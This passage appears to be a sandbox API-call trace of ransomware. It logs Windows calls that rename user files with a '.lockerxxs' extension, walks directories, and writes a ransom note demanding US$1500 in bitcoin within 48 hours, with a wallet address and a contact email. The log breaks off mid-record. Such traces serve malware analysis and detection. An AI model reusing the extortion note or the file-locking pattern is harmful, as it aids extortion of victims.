1 [0092.732] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm.lockerxxs")) returned 1 [0092.737] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg.lockerxxs")) returned 1 [0092.741] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm.lockerxxs")) returned 1 [0092.745] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg.lockerxxs")) returned 1 [0092.747] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm.lockerxxs")) returned 1 [0092.751] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.lockerxxs")) returned 1 [0092.753] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm.lockerxxs")) returned 1 [0092.757] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg.lockerxxs")) returned 1 [0092.759] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm.lockerxxs")) returned 1 [0092.763] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg.lockerxxs")) returned 1 [0092.764] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.808] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat.lockerxxs" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat.lockerxxs")) returned 1 [0092.820] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat.lockerxxs" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat.lockerxxs")) returned 1 [0092.902] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg.lockerxxs" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg.lockerxxs")) returned 1 [0092.997] MoveFileA (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.lockerxxs" (normalized: "c:\\users\\default\\ntuser.dat.lockerxxs")) returned 1 [0093.102] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.lockerxxs" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3.lockerxxs")) returned 1 [0093.166] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3.lockerxxs" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3.lockerxxs")) returned 1 [0093.233] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.lockerxxs" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3.lockerxxs")) returned 1 [0093.289] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.lockerxxs" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg.lockerxxs")) returned 1 [0093.314] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.lockerxxs" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg.lockerxxs")) returned 1 [0093.339] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.lockerxxs" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg.lockerxxs")) returned 1 [0093.364] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.lockerxxs" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg.lockerxxs")) returned 1 [0093.396] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.lockerxxs" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg.lockerxxs")) returned 1 [0093.421] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.lockerxxs" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg.lockerxxs")) returned 1 [0093.452] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.lockerxxs" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg.lockerxxs")) returned 1 [0093.692] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.lockerxxs" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg.lockerxxs")) returned 1 [0097.971] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0097.972] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0097.986] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0097.987] CloseHandle (hObject=0x90) returned 1 [0097.988] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0") returned -1 [0097.988] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0") returned -1 [0097.989] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0097.989] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0097.989] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0097.989] lstrcmpA (lpString1=".", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0097.989] lstrcmpA (lpString1="..", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0097.990] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0097.990] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0097.990] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0097.990] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll") returned -1 [0097.990] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll") returned -1 [0097.990] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll") returned -1 [0097.996] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0097.997] CloseHandle (hObject=0x90) returned 1 [0097.997] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd342cc20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd342cc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd342cc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xa1c0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0097.997] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0097.997] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd342cc20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd342cc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd342cc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 0 [0097.998] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0097.998] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2c214f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa2c47650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2c47650, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x762e7265, dwReserved1=0x302e3031, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0", cAlternateFileName="MICROS~1.0")) returned 1 [0097.998] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0") returned -1 [0097.998] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0") returned -1 [0097.998] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0097.998] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2c214f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa2c47650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2c47650, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.999] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0097.999] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0097.999] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5863dfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5863dfb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 1 [0097.999] lstrcmpA (lpString1=".", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0097.999] lstrcmpA (lpString1="..", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0097.999] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0097.999] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5863dfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5863dfb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.999] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0097.999] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.000] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5863dfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5863dfb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.006] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0098.006] CloseHandle (hObject=0x90) returned 1 [0098.007] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5863dfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5863dfb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0098.007] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0098.007] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5863dfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5863dfb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 0 [0098.007] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0098.007] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6946a10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6946a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6946a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x762e7265, dwReserved1=0x2e302e39, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInManager", cAlternateFileName="MICROS~1.ADD")) returned 1 [0098.007] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInManager") returned -1 [0098.007] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInManager") returned -1 [0098.008] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.008] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6946a10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6946a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6946a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.008] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.008] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.008] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61027a50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61027a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61027a50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="800~1.0__")) returned 1 [0098.008] lstrcmpA (lpString1=".", lpString2="8.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.008] lstrcmpA (lpString1="..", lpString2="8.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.010] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.010] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61027a50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61027a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61027a50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.010] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.010] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.010] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61027a50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61027a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61027a50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x197b0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.050] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0098.050] CloseHandle (hObject=0x90) returned 1 [0098.050] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61027a50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61027a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61027a50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x197b0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0098.051] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0098.051] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61027a50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61027a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61027a50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="800~1.0__")) returned 0 [0098.051] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0098.051] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa68fa750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa68fa750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa68fa750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x642e7265, dwReserved1=0x6c6c, cFileName="Microsoft.VisualStudio.Tools.Applications.Blueprints", cAlternateFileName="MICROS~1.BLU")) returned 1 [0098.051] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Applications.Blueprints") returned -1 [0098.051] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Applications.Blueprints") returned -1 [0098.052] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.052] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa68fa750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa68fa750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa68fa750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.052] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.052] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.052] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5258a1f0, ftCreationTime.dwHighDateTime=0x1d301bf, 